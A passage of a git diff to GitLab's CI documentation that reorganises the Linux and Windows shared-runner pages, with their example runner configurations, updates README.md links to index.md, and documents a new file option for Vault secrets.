- "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928
- "google-machine-image=PROJECT/global/images/IMAGE",
- "engine-opt=ipv6", # This will create IPv6 interfaces in the containers.
- "engine-opt=fixed-cidr-v6=fc00::/7",
- "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600
- ]
- [[runners.machine.autoscaling]]
- Periods = ["* * * * * sat,sun *"]
- Timezone = "UTC"
- IdleCount = 70
- IdleTime = 3600
- [[runners.machine.autoscaling]]
- Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"]
- Timezone = "UTC"
- IdleCount = 700
- IdleTime = 3600
- [runners.cache]
- Type = "gcs"
- Shared = true
- [runners.cache.gcs]
- CredentialsFile = "/path/to/file"
- BucketName = "bucket-name"
-```
-
-## Windows shared runners (beta)
-
-The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
-and shouldn't be used for production workloads.
-
-During this beta period, the [shared runner pipeline quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
-applies for groups and projects in the same manner as Linux runners. This may
-change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834).
-
-Windows shared runners on GitLab.com autoscale by launching virtual machines on
-the Google Cloud Platform. This solution uses an
-[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md)
-developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html).
-Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with
-2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in
-the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md).
-
-We want to keep iterating to get Windows shared runners in a stable state and
-[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
-You can follow our work towards this goal in the
-[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162).
-
-### Configuration
-
-The full contents of our `config.toml` are:
-
-NOTE:
-Settings that aren't public are shown as `X`.
-
-```toml
-concurrent = X
-check_interval = 3
-
-[[runners]]
- name = "windows-runner"
- url = "https://gitlab.com/"
- token = "TOKEN"
- executor = "custom"
- builds_dir = "C:\\GitLab-Runner\\builds"
- cache_dir = "C:\\GitLab-Runner\\cache"
- shell = "powershell"
- [runners.custom]
- config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"]
- prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"]
- run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"]
- cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
- cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"]
-```
-
-The full contents of our `autoscaler/config.toml` are:
-
-```toml
-Provider = "gcp"
-Executor = "winrm"
-OS = "windows"
-LogLevel = "info"
-LogFormat = "text"
-LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log"
-VMTag = "windows"
-
-[GCP]
- ServiceAccountFile = "PATH"
- Project = "some-project-df9323"
- Zone = "us-east1-c"
- MachineType = "n1-standard-2"
- Image = "IMAGE"
- DiskSize = 50
- DiskType = "pd-standard"
- Subnetwork = "default"
- Network = "default"
- Tags = ["TAGS"]
- Username = "gitlab_runner"
-
-[WinRM]
- MaximumTimeout = 3600
- ExecutionMaxRetries = 0
-
-[ProviderCache]
- Enabled = true
- Directory = "C:\\GitLab-Runner\\autoscaler\\machines"
-```
-
-### Example
-
-Below is a simple `.gitlab-ci.yml` file to show how to start using the
-Windows shared runners:
-
-```yaml
-.shared_windows_runners:
- tags:
- - shared-windows
- - windows
- - windows-1809
-
-stages:
- - build
- - test
-
-before_script:
- - Set-Variable -Name "time" -Value (date -Format "%H:%m")
- - echo ${time}
- - echo "started by ${GITLAB_USER_NAME}"
-
-build:
- extends:
- - .shared_windows_runners
- stage: build
- script:
- - echo "running scripts in the build job"
-
-test:
- extends:
- - .shared_windows_runners
- stage: test
- script:
- - echo "running scripts in the test job"
-```
-
-### Limitations and known issues
-
-- All the limitations mentioned in our [beta
- definition](https://about.gitlab.com/handbook/product/#beta).
-- The average provisioning time for a new Windows VM is 5 minutes.
- This means that you may notice slower build start times
- on the Windows shared runner fleet during the beta. In a future
- release we intend to update the autoscaler to enable
- the pre-provisioning of virtual machines. This is intended to significantly reduce
- the time it takes to provision a VM on the Windows fleet. You can
- follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
-- The Windows shared runner fleet may be unavailable occasionally
- for maintenance or updates.
-- The Windows shared runner virtual machine instances do not use the
- GitLab Docker executor. This means that you can't specify
- [`image`](../../ci/yaml/README.md#image) or [`services`](../../ci/yaml/README.md#services) in
- your pipeline configuration.
-- For the beta release, we have included a set of software packages in
- the base VM image. If your CI job requires additional software that's
- not included in this list, then you must add installation
- commands to [`before_script`](../../ci/yaml/README.md#before_script) or [`script`](../../ci/yaml/README.md#script) to install the required
- software. Note that each job runs on a new VM instance, so the
- installation of additional software packages needs to be repeated for
- each job in your pipeline.
-- The job may stay in a pending state for longer than the
- Linux shared runners.
-- There is the possibility that we introduce breaking changes which will
- require updates to pipelines that are using the Windows shared runner
- fleet.
+<!-- This redirect file can be deleted after 2021-09-28. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/runners/build_cloud/linux_build_cloud.md b/doc/ci/runners/build_cloud/linux_build_cloud.md
new file mode 100644
index 00000000000..710054921ef
--- /dev/null
+++ b/doc/ci/runners/build_cloud/linux_build_cloud.md
@@ -0,0 +1,127 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Linux shared runners
+
+Linux shared runners on GitLab.com run in autoscale mode and are powered by Google Cloud Platform.
+
+Autoscaling means reduced queue times to spin up CI/CD jobs, and isolated VMs for each job, thus maximizing security. These shared runners are available for users and customers on GitLab.com.
+
+GitLab offers Ultimate tier capabilities and included CI/CD minutes per group per month for our [Open Source](https://about.gitlab.com/solutions/open-source/join/), [Education](https://about.gitlab.com/solutions/education/), and [Startups](https://about.gitlab.com/solutions/startups/) programs. For private projects, GitLab offers various [plans](https://about.gitlab.com/pricing/), starting with a Free tier.
+
+All your CI/CD jobs run on [n1-standard-1 instances](https://cloud.google.com/compute/docs/machine-types) with 3.75GB of RAM, CoreOS and the latest Docker Engine
+installed. Instances provide 1 vCPU and 25GB of HDD disk space. The default
+region of the VMs is US East1.
+Each instance is used only for one job, this ensures any sensitive data left on the system can't be accessed by other people their CI jobs.
+
+The `gitlab-shared-runners-manager-X.gitlab.com` fleet of runners are dedicated for GitLab projects as well as community forks of them. They use a slightly larger machine type (n1-standard-2) and have a bigger SSD disk size. They don't run untagged jobs and unlike the general fleet of shared runners, the instances are re-used up to 40 times.
+
+Jobs handled by the shared runners on GitLab.com (`shared-runners-manager-X.gitlab.com`),
+**time out after 3 hours**, regardless of the timeout configured in a
+project. Check the issues [4010](https://gitlab.com/gitlab-com/infrastructure/-/issues/4010) and [4070](https://gitlab.com/gitlab-com/infrastructure/-/issues/4070) for the reference.
+
+Below are the shared runners settings.
+
+| Setting | GitLab.com | Default |
+| ----------- | ----------------- | ---------- |
+| Executor | `docker+machine` | - |
+| Default Docker image | `ruby:2.5` | - |
+| `privileged` (run [Docker in Docker](https://hub.docker.com/_/docker/)) | `true` | `false` |
+
+## Pre-clone script
+
+Linux shared runners on GitLab.com provide a way to run commands in a CI
+job before the runner attempts to run `git init` and `git fetch` to
+download a GitLab repository. The
+[`pre_clone_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
+can be used for:
+
+- Seeding the build directory with repository data
+- Sending a request to a server
+- Downloading assets from a CDN
+- Any other commands that must run before the `git init`
+
+To use this feature, define a [CI/CD variable](../../../ci/variables/index.md#custom-cicd-variables) called
+`CI_PRE_CLONE_SCRIPT` that contains a bash script.
+
+[This example](../../../development/pipelines.md#pre-clone-step)
+demonstrates how you might use a pre-clone step to seed the build
+directory.
+
+NOTE:
+The `CI_PRE_CLONE_SCRIPT` variable does not work on Windows runners.
+
+## `config.toml`
+
+The full contents of our `config.toml` are:
+
+NOTE:
+Settings that are not public are shown as `X`.
+
+**Google Cloud Platform**
+
+```toml
+concurrent = X
+check_interval = 1
+metrics_server = "X"
+sentry_dsn = "X"
+
+[[runners]]
+ name = "docker-auto-scale"
+ request_concurrency = X
+ url = "https://gitlab.com/"
+ token = "SHARED_RUNNER_TOKEN"
+ pre_clone_script = "eval \"$CI_PRE_CLONE_SCRIPT\""
+ executor = "docker+machine"
+ environment = [
+ "DOCKER_DRIVER=overlay2",
+ "DOCKER_TLS_CERTDIR="
+ ]
+ limit = X
+ [runners.docker]
+ image = "ruby:2.5"
+ privileged = true
+ volumes = [
+ "/certs/client",
+ "/dummy-sys-class-dmi-id:/sys/class/dmi/id:ro" # Make kaniko builds work on GCP.
+ ]
+ [runners.machine]
+ IdleCount = 50
+ IdleTime = 3600
+ MaxBuilds = 1 # For security reasons we delete the VM after job has finished so it's not reused.
+ MachineName = "srm-%s"
+ MachineDriver = "google"
+ MachineOptions = [
+ "google-project=PROJECT",
+ "google-disk-size=25",
+ "google-machine-type=n1-standard-1",
+ "google-username=core",
+ "google-tags=gitlab-com,srm",
+ "google-use-internal-ip",
+ "google-zone=us-east1-d",
+ "engine-opt=mtu=1460", # Set MTU for container interface, for more information check https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3214#note_82892928
+ "google-machine-image=PROJECT/global/images/IMAGE",
+ "engine-opt=ipv6", # This will create IPv6 interfaces in the containers.
+ "engine-opt=fixed-cidr-v6=fc00::/7",
+ "google-operation-backoff-initial-interval=2" # Custom flag from forked docker-machine, for more information check https://github.com/docker/machine/pull/4600
+ ]
+ [[runners.machine.autoscaling]]
+ Periods = ["* * * * * sat,sun *"]
+ Timezone = "UTC"
+ IdleCount = 70
+ IdleTime = 3600
+ [[runners.machine.autoscaling]]
+ Periods = ["* 30-59 3 * * * *", "* 0-30 4 * * * *"]
+ Timezone = "UTC"
+ IdleCount = 700
+ IdleTime = 3600
+ [runners.cache]
+ Type = "gcs"
+ Shared = true
+ [runners.cache.gcs]
+ CredentialsFile = "/path/to/file"
+ BucketName = "bucket-name"
+```
diff --git a/doc/ci/runners/build_cloud/windows_build_cloud.md b/doc/ci/runners/build_cloud/windows_build_cloud.md
new file mode 100644
index 00000000000..5a85f28e4b9
--- /dev/null
+++ b/doc/ci/runners/build_cloud/windows_build_cloud.md
@@ -0,0 +1,156 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Windows shared runners (beta)
+
+The Windows shared runners are in [beta](https://about.gitlab.com/handbook/product/gitlab-the-product/#beta)
+and shouldn't be used for production workloads.
+
+During this beta period, the [shared runner pipeline quota](../../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota)
+applies for groups and projects in the same manner as Linux runners. This may
+change when the beta period ends, as discussed in this [related issue](https://gitlab.com/gitlab-org/gitlab/-/issues/30834).
+
+Windows shared runners on GitLab.com autoscale by launching virtual machines on
+the Google Cloud Platform. This solution uses an
+[autoscaling driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/tree/master/docs/readme.md)
+developed by GitLab for the [custom executor](https://docs.gitlab.com/runner/executors/custom.html).
+Windows shared runners execute your CI/CD jobs on `n1-standard-2` instances with
+2 vCPUs and 7.5 GB RAM. You can find a full list of available Windows packages in
+the [package documentation](https://gitlab.com/gitlab-org/ci-cd/shared-runners/images/gcp/windows-containers/blob/master/cookbooks/preinstalled-software/README.md).
+
+We want to keep iterating to get Windows shared runners in a stable state and
+[generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
+You can follow our work towards this goal in the
+[related epic](https://gitlab.com/groups/gitlab-org/-/epics/2162).
+
+## Configuration
+
+The full contents of our `config.toml` are:
+
+NOTE:
+Settings that aren't public are shown as `X`.
+
+```toml
+concurrent = X
+check_interval = 3
+
+[[runners]]
+ name = "windows-runner"
+ url = "https://gitlab.com/"
+ token = "TOKEN"
+ executor = "custom"
+ builds_dir = "C:\\GitLab-Runner\\builds"
+ cache_dir = "C:\\GitLab-Runner\\cache"
+ shell = "powershell"
+ [runners.custom]
+ config_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ config_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "config"]
+ prepare_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ prepare_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "prepare"]
+ run_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ run_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "run"]
+ cleanup_exec = "C:\\GitLab-Runner\\autoscaler\\autoscaler.exe"
+ cleanup_args = ["--config", "C:\\GitLab-Runner\\autoscaler\\config.toml", "custom", "cleanup"]
+```
+
+The full contents of our `autoscaler/config.toml` are:
+
+```toml
+Provider = "gcp"
+Executor = "winrm"
+OS = "windows"
+LogLevel = "info"
+LogFormat = "text"
+LogFile = "C:\\GitLab-Runner\\autoscaler\\autoscaler.log"
+VMTag = "windows"
+
+[GCP]
+ ServiceAccountFile = "PATH"
+ Project = "some-project-df9323"
+ Zone = "us-east1-c"
+ MachineType = "n1-standard-2"
+ Image = "IMAGE"
+ DiskSize = 50
+ DiskType = "pd-standard"
+ Subnetwork = "default"
+ Network = "default"
+ Tags = ["TAGS"]
+ Username = "gitlab_runner"
+
+[WinRM]
+ MaximumTimeout = 3600
+ ExecutionMaxRetries = 0
+
+[ProviderCache]
+ Enabled = true
+ Directory = "C:\\GitLab-Runner\\autoscaler\\machines"
+```
+
+## Example
+
+Below is a simple `.gitlab-ci.yml` file to show how to start using the
+Windows shared runners:
+
+```yaml
+.shared_windows_runners:
+ tags:
+ - shared-windows
+ - windows
+ - windows-1809
+
+stages:
+ - build
+ - test
+
+before_script:
+ - Set-Variable -Name "time" -Value (date -Format "%H:%m")
+ - echo ${time}
+ - echo "started by ${GITLAB_USER_NAME}"
+
+build:
+ extends:
+ - .shared_windows_runners
+ stage: build
+ script:
+ - echo "running scripts in the build job"
+
+test:
+ extends:
+ - .shared_windows_runners
+ stage: test
+ script:
+ - echo "running scripts in the test job"
+```
+
+## Limitations and known issues
+
+- All the limitations mentioned in our [beta
+ definition](https://about.gitlab.com/handbook/product/#beta).
+- The average provisioning time for a new Windows VM is 5 minutes.
+ This means that you may notice slower build start times
+ on the Windows shared runner fleet during the beta. In a future
+ release we intend to update the autoscaler to enable
+ the pre-provisioning of virtual machines. This is intended to significantly reduce
+ the time it takes to provision a VM on the Windows fleet. You can
+ follow along in the [related issue](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/autoscaler/-/issues/32).
+- The Windows shared runner fleet may be unavailable occasionally
+ for maintenance or updates.
+- The Windows shared runner virtual machine instances do not use the
+ GitLab Docker executor. This means that you can't specify
+ [`image`](../../../ci/yaml/index.md#image) or [`services`](../../../ci/yaml/index.md#services) in
+ your pipeline configuration.
+- For the beta release, we have included a set of software packages in
+ the base VM image. If your CI job requires additional software that's
+ not included in this list, then you must add installation
+ commands to [`before_script`](../../../ci/yaml/index.md#before_script) or [`script`](../../../ci/yaml/index.md#script) to install the required
+ software. Note that each job runs on a new VM instance, so the
+ installation of additional software packages needs to be repeated for
+ each job in your pipeline.
+- The job may stay in a pending state for longer than the
+ Linux shared runners.
+- There is the possibility that we introduce breaking changes which will
+ require updates to pipelines that are using the Windows shared runner
+ fleet.
diff --git a/doc/ci/runners/configure_runners.md b/doc/ci/runners/configure_runners.md
index 775de26b772..2f845a05a4e 100644
--- a/doc/ci/runners/configure_runners.md
+++ b/doc/ci/runners/configure_runners.md
@@ -10,7 +10,7 @@ type: reference
If you have installed your own runners, you can configure and secure them in GitLab.
If you need to configure runners on the machine where you installed GitLab Runner, see
-[the GitLab Runner documentation](https://docs.gitlab.com/runner/configuration).
+[the GitLab Runner documentation](https://docs.gitlab.com/runner/configuration/).
## Manually clear the runner cache
@@ -19,14 +19,14 @@ Read [clearing the cache](../caching/index.md#clearing-the-cache).
## Set maximum job timeout for a runner
For each runner, you can specify a *maximum job timeout*. This timeout,
-if smaller than the [project defined timeout](../pipelines/settings.md#timeout), takes precedence.
+if smaller than the [project defined timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run), takes precedence.
This feature can be used to prevent your shared runner from being overwhelmed
by a project that has jobs with a long timeout (for example, one week).
When not configured, runners do not override the project timeout.
-On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#timeout).
+On GitLab.com, you cannot override the job timeout for shared runners and must use the [project defined timeout](../pipelines/settings.md#set-a-limit-for-how-long-jobs-can-run).
To set the maximum job timeout:
@@ -90,7 +90,7 @@ To protect or unprotect a runner:
1. Check the **Protected** option.
1. Click **Save changes**.
-![specific runners edit icon](img/protected_runners_check_box.png)
+![specific runners edit icon](img/protected_runners_check_box_v14_1.png)
### Forks
@@ -146,7 +146,7 @@ the GitLab instance. To determine this:
1. On the left sidebar, select **Overview > Runners**.
1. Find the runner in the table and view the **IP Address** column.
-![shared runner IP address](img/shared_runner_ip_address.png)
+![shared runner IP address](img/shared_runner_ip_address_14_1.png)
### Determine the IP address of a specific runner
@@ -169,13 +169,13 @@ GitLab CI tags are not the same as Git tags. GitLab CI tags are associated with
Git tags are associated with commits.
By tagging a runner for the types of jobs it can handle, you can make sure
-shared runners will [only run the jobs they are equipped to run](../yaml/README.md#tags).
+shared runners will [only run the jobs they are equipped to run](../yaml/index.md#tags).
For instance, at GitLab we have runners tagged with `rails` if they contain
the appropriate dependencies to run Rails test suites.
When you [register a runner](https://docs.gitlab.com/runner/register/), its default behavior is to **only pick**
-[tagged jobs](../yaml/README.md#tags).
+[tagged jobs](../yaml/index.md#tags).
To change this, you must have the [Owner role](../../user/permissions.md#project-members-permissions) for the project.
To make a runner pick untagged jobs:
@@ -230,7 +230,7 @@ Example 2:
## Configure runner behavior with variables
-You can use [CI/CD variables](../variables/README.md) to configure runner Git behavior
+You can use [CI/CD variables](../variables/index.md) to configure runner Git behavior
globally or for individual jobs:
- [`GIT_STRATEGY`](#git-strategy)
@@ -250,7 +250,7 @@ You can also use variables to configure how many times a runner
> - `GIT_STRATEGY=none` requires GitLab Runner v1.7+.
You can set the `GIT_STRATEGY` used to fetch the repository content, either
-globally or per-job in the [`variables`](../yaml/README.md#variables) section:
+globally or per-job in the [`variables`](../yaml/index.md#variables) section:
```yaml
variables:
@@ -258,7 +258,7 @@ variables:
```
There are three possible values: `clone`, `fetch`, and `none`. If left unspecified,
-jobs use the [project's pipeline setting](../pipelines/settings.md#git-strategy).
+jobs use the [project's pipeline setting](../pipelines/settings.md#choose-the-default-git-strategy).
`clone` is the slowest option. It clones the repository from scratch for every
job, ensuring that the local working copy is always pristine.
@@ -281,7 +281,7 @@ The `kubernetes` executor always clones into an temporary directory.
A Git strategy of `none` also re-uses the local working copy, but skips all Git
operations normally done by GitLab. GitLab Runner pre-clone scripts are also skipped,
if present. This strategy could mean you need to add `fetch` and `checkout` commands
-to [your `.gitlab-ci.yml` script](../yaml/README.md#script).
+to [your `.gitlab-ci.yml` script](../yaml/index.md#script).
It can be used for jobs that operate exclusively on artifacts, like a deployment job.
Git repository data may be present, but it's likely out of date. You should only
@@ -293,7 +293,7 @@ rely on files brought into the local working copy from cache or artifacts.
The `GIT_SUBMODULE_STRATEGY` variable is used to control if / how Git
submodules are included when fetching the code before a build. You can set them
-globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+globally or per-job in the [`variables`](../yaml/index.md#variables) section.
There are three possible values: `none`, `normal`, and `recursive`:
@@ -332,7 +332,7 @@ For this feature to work correctly, the submodules must be configured
The `GIT_CHECKOUT` variable can be used when the `GIT_STRATEGY` is set to either
`clone` or `fetch` to specify whether a `git checkout` should be run. If not
specified, it defaults to true. You can set them globally or per-job in the
-[`variables`](../yaml/README.md#variables) section.
+[`variables`](../yaml/index.md#variables) section.
If set to `false`, the runner:
@@ -360,7 +360,7 @@ script:
The `GIT_CLEAN_FLAGS` variable is used to control the default behavior of
`git clean` after checking out the sources. You can set it globally or per-job in the
-[`variables`](../yaml/README.md#variables) section.
+[`variables`](../yaml/index.md#variables) section.
`GIT_CLEAN_FLAGS` accepts all possible options of the [`git clean`](https://git-scm.com/docs/git-clean)
command.
@@ -386,7 +386,7 @@ script:
> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4142) in GitLab Runner 13.1.
The `GIT_FETCH_EXTRA_FLAGS` variable is used to control the behavior of
-`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+`git fetch`. You can set it globally or per-job in the [`variables`](../yaml/index.md#variables) section.
`GIT_FETCH_EXTRA_FLAGS` accepts all options of the [`git fetch`](https://git-scm.com/docs/git-fetch) command. However, `GIT_FETCH_EXTRA_FLAGS` flags are appended after the default flags that can't be modified.
@@ -428,7 +428,7 @@ It can be helpful for repositories with a large number of commits or old, large
passed to `git fetch` and `git clone`.
In GitLab 12.0 and later, newly-created projects automatically have a
-[default `git depth` value of `50`](../pipelines/settings.md#git-shallow-clone).
+[default `git depth` value of `50`](../pipelines/settings.md#limit-the-number-of-changes-fetched-during-clone).
If you use a depth of `1` and have a queue of jobs or retry
jobs, jobs may fail.
@@ -450,7 +450,7 @@ variables:
GIT_DEPTH: "3"
```
-You can set it globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+You can set it globally or per-job in the [`variables`](../yaml/index.md#variables) section.
### Custom build directories
@@ -559,7 +559,7 @@ variables:
GET_SOURCES_ATTEMPTS: 3
```
-You can set them globally or per-job in the [`variables`](../yaml/README.md#variables) section.
+You can set them globally or per-job in the [`variables`](../yaml/index.md#variables) section.
## System calls not available on GitLab.com shared runners
diff --git a/doc/ci/runners/img/protected_runners_check_box.png b/doc/ci/runners/img/protected_runners_check_box.png
deleted file mode 100644
index 3c47ebdec29..00000000000
--- a/doc/ci/runners/img/protected_runners_check_box.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/runners/img/protected_runners_check_box_v14_1.png b/doc/ci/runners/img/protected_runners_check_box_v14_1.png
new file mode 100644
index 00000000000..d67085d83f9
--- /dev/null
+++ b/doc/ci/runners/img/protected_runners_check_box_v14_1.png
Binary files differ
diff --git a/doc/ci/runners/img/shared_runner_ip_address.png b/doc/ci/runners/img/shared_runner_ip_address.png
deleted file mode 100644
index 527b4f4043d..00000000000
--- a/doc/ci/runners/img/shared_runner_ip_address.png
+++ /dev/null
Binary files differ
diff --git a/doc/ci/runners/img/shared_runner_ip_address_14_1.png b/doc/ci/runners/img/shared_runner_ip_address_14_1.png
new file mode 100644
index 00000000000..d7eeeae7a3c
--- /dev/null
+++ b/doc/ci/runners/img/shared_runner_ip_address_14_1.png
Binary files differ
diff --git a/doc/ci/runners/index.md b/doc/ci/runners/index.md
new file mode 100644
index 00000000000..da7289a0ebd
--- /dev/null
+++ b/doc/ci/runners/index.md
@@ -0,0 +1,18 @@
+---
+stage: Verify
+group: Runner
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# GitLab SaaS runners
+
+If you are using self-managed GitLab or you want to use your own runners on GitLab.com, you can
+[install and configure your own runners](https://docs.gitlab.com/runner/install/).
+
+If you are using GitLab SaaS (GitLab.com), your CI jobs automatically run on shared runners. No configuration is required.
+Your jobs can run on [Linux](build_cloud/linux_build_cloud.md) or [Windows](build_cloud/windows_build_cloud.md).
+
+The number of minutes you can use on these shared runners depends on your
+[quota](../../user/admin_area/settings/continuous_integration.md#shared-runners-pipeline-minutes-quota),
+which depends on your [subscription plan](../../subscriptions/gitlab_com/index.md#ci-pipeline-minutes).
diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md
index d140344b40d..7fbc3448d4e 100644
--- a/doc/ci/secrets/index.md
+++ b/doc/ci/secrets/index.md
@@ -8,13 +8,14 @@ type: concepts, howto
# Using external secrets in CI
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218746) in GitLab 13.4 and GitLab Runner 13.4.
+> - `file` setting [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1.
Secrets represent sensitive information your CI job needs to complete work. This
sensitive information can be items like API tokens, database credentials, or private keys.
Secrets are sourced from your secrets provider.
Unlike CI/CD variables, which are always presented to a job, secrets must be explicitly
-required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/README.md#secrets)
+required by a job. Read [GitLab CI/CD pipeline configuration reference](../yaml/index.md#secrets)
for more information about the syntax.
GitLab has selected [Vault by HashiCorp](https://www.vaultproject.io) as the
@@ -80,7 +81,7 @@ To configure your Vault server:
1. Configure roles on your Vault server, restricting roles to a project or namespace,
as described in [Configure Vault server roles](#configure-vault-server-roles) on this page.
-1. [Create the following CI/CD variables](../variables/README.md#custom-cicd-variables)
+1. [Create the following CI/CD variables](../variables/index.md#custom-cicd-variables)
to provide details about your Vault server:
- `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`.
Required.
@@ -114,10 +115,22 @@ In this example:
After GitLab fetches the secret from Vault, the value is saved in a temporary file.
The path to this file is stored in a CI/CD variable named `DATABASE_PASSWORD`,
-similar to [variables of type `file`](../variables/README.md#cicd-variable-types).
+similar to [variables of type `file`](../variables/index.md#cicd-variable-types).
+
+To overwrite the default behavior, set the `file` option explicitly:
+
+```yaml
+secrets:
+ DATABASE_PASSWORD:
+ vault: production/db/password@ops
+ file: false
+```
+
+In this example, the secret value is put directly in the `DATABASE_PASSWORD` variable
+instead of pointing to a file that holds it.
For more information about the supported syntax, read the
-[`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault).
+[`.gitlab-ci.yml` reference](../yaml/index.md#secretsvault).
## Configure Vault server roles
diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md
deleted file mode 100644
index 577a80407d7..00000000000
--- a/doc/ci/services/README.md
+++ /dev/null
@@ -1,9 +0,0 @@
----
-redirect_to: 'index.md'
-remove_date: '2021-05-01'
----
-
-This document was moved to [another location](index.md).
-
-<!-- This redirect file can be deleted after 2021-05-01. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/services/gitlab.md b/doc/ci/services/gitlab.md
index 8afe8c784f3..558f53a9535 100644
--- a/doc/ci/services/gitlab.md
+++ b/doc/ci/services/gitlab.md
@@ -11,7 +11,7 @@ Many applications need to access JSON APIs, so application tests might need acce
to APIs too. The following example shows how to use GitLab as a microservice to give
tests access to the GitLab API.
-1. Configure a [runner](../runners/README.md) with the Docker or Kubernetes executor.
+1. Configure a [runner](../runners/index.md) with the Docker or Kubernetes executor.
1. In your `.gitlab-ci.yml` add:
```yaml
@@ -25,7 +25,7 @@ tests access to the GitLab API.
```
1. To set values for the `GITLAB_HTTPS` and `GITLAB_ROOT_PASSWORD`,
- [assign them to a variable in the user interface](../variables/README.md#add-a-cicd-variable-to-a-project).
+ [assign them to a variable in the user interface](../variables/index.md#add-a-cicd-variable-to-a-project).
Then assign that variable to the corresponding variable in your
`.gitlab-ci.yml` file.
@@ -37,4 +37,4 @@ For more information about why `gitlab` is used for the `Host`, see
You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/u/gitlab).
The `gitlab` image can accept environment variables. For more details,
-see the [Omnibus documentation](../../install/README.md).
+see the [Omnibus documentation](../../install/index.md).
diff --git a/doc/ci/services/index.md b/doc/ci/services/index.md
index 8d603b17e2e..c7891998a37 100644
--- a/doc/ci/services/index.md
+++ b/doc/ci/services/index.md
@@ -188,9 +188,9 @@ To override the default behavior, you can
## Passing CI/CD variables to services
-You can also pass custom CI/CD [variables](../variables/README.md)
+You can also pass custom CI/CD [variables](../variables/index.md)
to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file.
-For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+For more information, read about [`.gitlab-ci.yml` defined variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
```yaml
# The following variables are automatically passed down to the Postgres container
@@ -228,7 +228,7 @@ test:
| Setting | Required | GitLab version | Description |
|------------|----------|----------------| ----------- |
-| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. It should contain the Registry part if needed. |
+| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. If the full image name includes a registry hostname, use the `alias` option to define a shorter service access name. For more information, see [Accessing the services](#accessing-the-services). |
